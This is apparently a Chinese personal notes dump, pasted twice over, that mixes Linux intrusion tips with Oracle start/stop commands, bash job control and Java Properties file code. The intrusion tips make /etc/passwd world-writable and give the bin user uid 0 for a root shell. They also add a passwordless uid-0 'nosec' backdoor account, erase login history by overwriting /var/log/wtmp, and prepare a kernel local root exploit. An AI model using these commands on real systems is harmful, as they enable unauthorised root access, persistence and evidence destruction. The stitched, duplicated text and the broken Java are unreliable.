cat /etc/passwd 查看linux用户
cat /etc/shadow 查看用户密码需要root权限
cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息
ifconfig 查看本机ip信息
cat /etc/resolv.conf 查看DNS信息
bash -i 在反弹的shell中使用可以直观显示命令
bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成
bash#。
系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。
echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,
vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!
netstat -an |grep LISTEN |grep :80 查看端口
service --status-all | grep running
service --status-all | grep http
查看运行服务
lsb_release -a 查看系统版本
重启ssh服务 :/usr/sbin/sshd stop
/usr/sbin/sshd start
ssd_config文件里
PasswordAuthentication no,
将其改为
PasswordAuthentication yes
远程ssh才可登录
否则显示Access denied
其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.
su的菜鸟用法
先chomod 777 /etc/passwd
然后修改bin用户的gid和uid为0
然后passwd设置bin的密码
然后cp /bin/bash /sbin/nologin
然后su的时候su - bin就可以到rootshell了。
这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码,的一种很菜鸟的做法
还可以这样
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd
gcc prtcl2.c –o local –static –Wall
echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd
echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
清空last记录 cp /dev/null /var/log/wtmp
-----
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的
-------------------------------------------
1. linux下启动oracle
su - oracle
sqlplus /nolog
conn /as sysdba
startup
exit
lsnrctl start
exit
2. linux下关闭oracle
su - oracle
sqlplus /nolog
conn /as sysdba
shutdown immediate
exit
lsnrctl stop
exit
3、启动监听器
oracle@suse92:~> lsnrctl start
4、停止监听器
oracle@suse92:~> lsnrctl stop
5、查看监听器状态
oracle@suse92:~> lsnrctl
LSNRCTL> status
LSNRCTL> exit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
然后用jobs命令查看当前bash一共启动了多少程序,你可以看到你的emacs在其中,它的状态是Stoped的; 并且它的jobID也可以看,比如是2
然后用命令bg 2
这样你就可以达到和emacs &一样的效果了。
当你有些工作比如updatedb, find等需要一定时间,这些工作可以考虑让它在后台运行,而你可以用bash做其它工作。
如果需要把任务回到前台,只需要fg 2.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://wenku.baidu.com/view/2fb3b9cea1c7aa00b52acbcb.html
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Enumeration;
import java.util.InvalidPropertiesFormatException;
import java.util.Iterator;
import java.util.Properties;
import java.util.Set;
public class RWProperties {
public RWProperties() {
// TODO Auto-generated constructor stub
}
//读属性文件
private static Properties readProperties(){
Properties prop = new Properties();
FileInputStream finps = null;
try {
finps = new FileInputStream("d:/DB.properties");
prop.load(finps);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
finps.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return prop;
// prop.list(System.out);
}
private static void writerProperties(){
FileOutputStream fouts = null;
Properties prop = new Properties(RWProperties.readProperties());//在原属性文件上追加记录
Properties prop2 = new Properties();//写新的属性文件
prop.setProperty("dsssssssssssss0","caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
prop.setProperty("url","jdbc:sqlserver://localhost:1433;databasename=pubs");
prop.setProperty("user","sa");
prop.setProperty("pwd","sa");
try {
//fouts = new FileOutputStream("d:/DB.properties");
String root = getRootPath();
fouts = new FileOutputStream(root+"/src/test/collection/sort/DB.properties")
prop.store(fouts, "DB");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
fouts.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
//生成XML格式的属性文件
private static void writerPropertiesXml(){
FileOutputStream fouts = null;
Properties prop = new Properties();
prop.setProperty("driver0","com.microsoft.jdbc.sqlserver.SQLServerDriver");
prop.setProperty("driver1","sun.jdbc.odbc.JdbcOdbcDriver");
prop.setProperty("driver","com.microsoft.sqlserver.jdbc.SQLServerDriver");
prop.setProperty("url0","jdbc:microsoft:sqlserver://localhost:1433;databasename=PersonnelManagement");
prop.setProperty("url1","jdbc:odbc:PersonnelManagement");
prop.setProperty("url","jdbc:sqlserver://localhost:1433;databasename=pubs");
prop.setProperty("user","sa");
prop.setProperty("pwd","sa");
try {
fouts = new FileOutputStream("d:/DB.xml");
prop.storeToXML(fouts, "DB");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
fouts.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static String getRootPath(){
//因为类名为"Application",因此" Application.class"一定能找到
String result = Application.class.getResource("Application.class").toString();
int index = result.indexOf("WEB-INF");
if(index == -1){
index = result.indexOf("bin");
}
result = result.substring(0,index);
if(result.startsWith("jar")){
// 当class文件在jar文件中时,返回"jar:file:/F:/ ..."样的路径
result = result.substring(10);
}else if(result.startsWith("file")){
// 当class文件在class文件中时,返回"file:/F:/ ..."样的路径
result = result.substring(6);
}
if(result.endsWith("/"))result = result.substring(0,result.length()-1);//不包含最后的"/"
return result;
}
public static void main(String[] args){
//RWProperties.readProperties();
RWProperties.writerProperties();
//RWProperties.writerPropertiesXml();
}
}
--------------------------------------------------
Enumeration enum1 = props.propertyNames();
for (; enum1.hasMoreElements(); ) {
// Get property name
String propName = (String)enum1.nextElement();
// Get property value
String propValue = (String)props.get(propName);
System.out.println(propName+"-->"+propValue);
}
获取根目录:
public class Application {
/**
* TODO 获取根目录
* @return
* @author <a href="mailto:pheh.lin@gmail.com">PHeH</a><br>
* Created On 2007-5-10 15:16:21
*/
public static String getRootPath(){
//因为类名为"Application",因此" Application.class"一定能找到
String result = Application.class.getResource("Application.class").toString();
int index = result.indexOf("WEB-INF");
if(index == -1){
index = result.indexOf("bin");
}
result = result.substring(0,index);
if(result.startsWith("jar")){
// 当class文件在jar文件中时,返回"jar:file:/F:/ ..."样的路径
result = result.substring(10);
}else if(result.startsWith("file")){
// 当class文件在class文件中时,返回"file:/F:/ ..."样的路径
result = result.substring(6);
}
if(result.endsWith("/"))result = result.substring(0,result.length()-1);//不包含最后的"/"
return result;
}
public static void main(String args[]){
System.out.println(getRootPath());
}
}
输出:D:/workspace/mysqlTes
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Enumeration;
import java.util.Properties;
public class PropertiesHandler {
public static void writePro(String key,String value){
Properties pro = new Properties();
InputStream in = null;
OutputStream out = null;
try {
in = new FileInputStream("d:/DB.properties");
pro.load(in);
if(pro.containsKey(key)&& pro.containsValue(value)){
return;
}
pro.setProperty(key, value);
for (Enumeration e = pro.propertyNames(); e.hasMoreElements();) {
String oldKey = (String) e.nextElement(); // 遍历所有元素
String str = pro.getProperty(oldKey);
pro.setProperty(oldKey, pro.getProperty(oldKey));
}
out = new FileOutputStream("d:/DB.properties");
pro.store(out,null);
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
finally{
try {
in.close();
out.close();
pro.clear();
} catch (Exception e) {
}
}
}
public static void readPro(){
Properties pro = null;
InputStream in = null;
try {
pro = new Properties();
in =new FileInputStream("d:/DB.properties");
pro.load(in);
System.out.println(pro.getProperty("hongwei"));
//pro.setProperty("hongwei", "tet");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String args[]){
//readPro();
writePro("SHENZHEN1234","zzzzzzz3123zzzzz1234567");
}
}
QQ: 488331
cat /etc/shadow 查看用户密码需要root权限
cat /etc/sysconfig/network-scripts/ifcfg-ethn N代表网卡号 查看所在网卡的ip信息
ifconfig 查看本机ip信息
cat /etc/resolv.conf 查看DNS信息
bash -i 在反弹的shell中使用可以直观显示命令
bash prompt: 当你以普通限权用户身份进入的时候,一般你会有一个类似bash$的prompt。当你以Root登陆时,你的prompt会变成
bash#。
系统变量 : 试着echo "$USER / $EUID" 系统应该会告诉你它认为你是什么用户。
echo 1>/proc/sys/net/ipv4/if_forward是不是你写错了,应该是echo 1>/proc/sys/net/ipv4/ip_forward,
vim /proc/sys/net/ipv4/ip_forward 吧,默认是0,也就是内核不进行数据包过滤,改为1 ,让内核对数据包进行filter处理!
netstat -an |grep LISTEN |grep :80 查看端口
service --status-all | grep running
service --status-all | grep http
查看运行服务
lsb_release -a 查看系统版本
重启ssh服务 :/usr/sbin/sshd stop
/usr/sbin/sshd start
ssd_config文件里
PasswordAuthentication no,
将其改为
PasswordAuthentication yes
远程ssh才可登录
否则显示Access denied
其中Usepam yes可能用来建立pam方式login,比如从其它linux主机ssh到服务端,如果关闭,则不能打开.
su的菜鸟用法
先chomod 777 /etc/passwd
然后修改bin用户的gid和uid为0
然后passwd设置bin的密码
然后cp /bin/bash /sbin/nologin
然后su的时候su - bin就可以到rootshell了。
这个原理就是当ssh不允许root用ssh终端登陆的时候,我们又不知道root密码,的一种很菜鸟的做法
还可以这样
sed -i s/bin:x:1:1/bin:x:0:1/g /etc/passwd
gcc prtcl2.c –o local –static –Wall
echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwd
echo "nosec::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
清空last记录 cp /dev/null /var/log/wtmp
-----
dd if=/dev/zero of=yourfile bs=10M count=10 建立一个100m的大文件在利用Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit提权的时候要用到的
-------------------------------------------
1. linux下启动oracle
su - oracle
sqlplus /nolog
conn /as sysdba
startup
exit
lsnrctl start
exit
2. linux下关闭oracle
su - oracle
sqlplus /nolog
conn /as sysdba
shutdown immediate
exit
lsnrctl stop
exit
3、启动监听器
oracle@suse92:~> lsnrctl start
4、停止监听器
oracle@suse92:~> lsnrctl stop
5、查看监听器状态
oracle@suse92:~> lsnrctl
LSNRCTL> status
LSNRCTL> exit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
然后用jobs命令查看当前bash一共启动了多少程序,你可以看到你的emacs在其中,它的状态是Stoped的; 并且它的jobID也可以看,比如是2
然后用命令bg 2
这样你就可以达到和emacs &一样的效果了。
当你有些工作比如updatedb, find等需要一定时间,这些工作可以考虑让它在后台运行,而你可以用bash做其它工作。
如果需要把任务回到前台,只需要fg 2.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://wenku.baidu.com/view/2fb3b9cea1c7aa00b52acbcb.html
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Enumeration;
import java.util.InvalidPropertiesFormatException;
import java.util.Iterator;
import java.util.Properties;
import java.util.Set;
public class RWProperties {
public RWProperties() {
// TODO Auto-generated constructor stub
}
//读属性文件
private static Properties readProperties(){
Properties prop = new Properties();
FileInputStream finps = null;
try {
finps = new FileInputStream("d:/DB.properties");
prop.load(finps);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
finps.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return prop;
// prop.list(System.out);
}
private static void writerProperties(){
FileOutputStream fouts = null;
Properties prop = new Properties(RWProperties.readProperties());//在原属性文件上追加记录
Properties prop2 = new Properties();//写新的属性文件
prop.setProperty("dsssssssssssss0","caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
prop.setProperty("url","jdbc:sqlserver://localhost:1433;databasename=pubs");
prop.setProperty("user","sa");
prop.setProperty("pwd","sa");
try {
//fouts = new FileOutputStream("d:/DB.properties");
String root = getRootPath();
fouts = new FileOutputStream(root+"/src/test/collection/sort/DB.properties")
prop.store(fouts, "DB");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
fouts.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
//生成XML格式的属性文件
private static void writerPropertiesXml(){
FileOutputStream fouts = null;
Properties prop = new Properties();
prop.setProperty("driver0","com.microsoft.jdbc.sqlserver.SQLServerDriver");
prop.setProperty("driver1","sun.jdbc.odbc.JdbcOdbcDriver");
prop.setProperty("driver","com.microsoft.sqlserver.jdbc.SQLServerDriver");
prop.setProperty("url0","jdbc:microsoft:sqlserver://localhost:1433;databasename=PersonnelManagement");
prop.setProperty("url1","jdbc:odbc:PersonnelManagement");
prop.setProperty("url","jdbc:sqlserver://localhost:1433;databasename=pubs");
prop.setProperty("user","sa");
prop.setProperty("pwd","sa");
try {
fouts = new FileOutputStream("d:/DB.xml");
prop.storeToXML(fouts, "DB");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}finally {
try {
fouts.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static String getRootPath(){
//因为类名为"Application",因此" Application.class"一定能找到
String result = Application.class.getResource("Application.class").toString();
int index = result.indexOf("WEB-INF");
if(index == -1){
index = result.indexOf("bin");
}
result = result.substring(0,index);
if(result.startsWith("jar")){
// 当class文件在jar文件中时,返回"jar:file:/F:/ ..."样的路径
result = result.substring(10);
}else if(result.startsWith("file")){
// 当class文件在class文件中时,返回"file:/F:/ ..."样的路径
result = result.substring(6);
}
if(result.endsWith("/"))result = result.substring(0,result.length()-1);//不包含最后的"/"
return result;
}
public static void main(String[] args){
//RWProperties.readProperties();
RWProperties.writerProperties();
//RWProperties.writerPropertiesXml();
}
}
--------------------------------------------------
Enumeration enum1 = props.propertyNames();
for (; enum1.hasMoreElements(); ) {
// Get property name
String propName = (String)enum1.nextElement();
// Get property value
String propValue = (String)props.get(propName);
System.out.println(propName+"-->"+propValue);
}
获取根目录:
public class Application {
/**
* TODO 获取根目录
* @return
* @author <a href="mailto:pheh.lin@gmail.com">PHeH</a><br>
* Created On 2007-5-10 15:16:21
*/
public static String getRootPath(){
//因为类名为"Application",因此" Application.class"一定能找到
String result = Application.class.getResource("Application.class").toString();
int index = result.indexOf("WEB-INF");
if(index == -1){
index = result.indexOf("bin");
}
result = result.substring(0,index);
if(result.startsWith("jar")){
// 当class文件在jar文件中时,返回"jar:file:/F:/ ..."样的路径
result = result.substring(10);
}else if(result.startsWith("file")){
// 当class文件在class文件中时,返回"file:/F:/ ..."样的路径
result = result.substring(6);
}
if(result.endsWith("/"))result = result.substring(0,result.length()-1);//不包含最后的"/"
return result;
}
public static void main(String args[]){
System.out.println(getRootPath());
}
}
输出:D:/workspace/mysqlTes
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Enumeration;
import java.util.Properties;
public class PropertiesHandler {
public static void writePro(String key,String value){
Properties pro = new Properties();
InputStream in = null;
OutputStream out = null;
try {
in = new FileInputStream("d:/DB.properties");
pro.load(in);
if(pro.containsKey(key)&& pro.containsValue(value)){
return;
}
pro.setProperty(key, value);
for (Enumeration e = pro.propertyNames(); e.hasMoreElements();) {
String oldKey = (String) e.nextElement(); // 遍历所有元素
String str = pro.getProperty(oldKey);
pro.setProperty(oldKey, pro.getProperty(oldKey));
}
out = new FileOutputStream("d:/DB.properties");
pro.store(out,null);
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
finally{
try {
in.close();
out.close();
pro.clear();
} catch (Exception e) {
}
}
}
public static void readPro(){
Properties pro = null;
InputStream in = null;
try {
pro = new Properties();
in =new FileInputStream("d:/DB.properties");
pro.load(in);
System.out.println(pro.getProperty("hongwei"));
//pro.setProperty("hongwei", "tet");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String args[]){
//readPro();
writePro("SHENZHEN1234","zzzzzzz3123zzzzz1234567");
}
}
QQ: 488331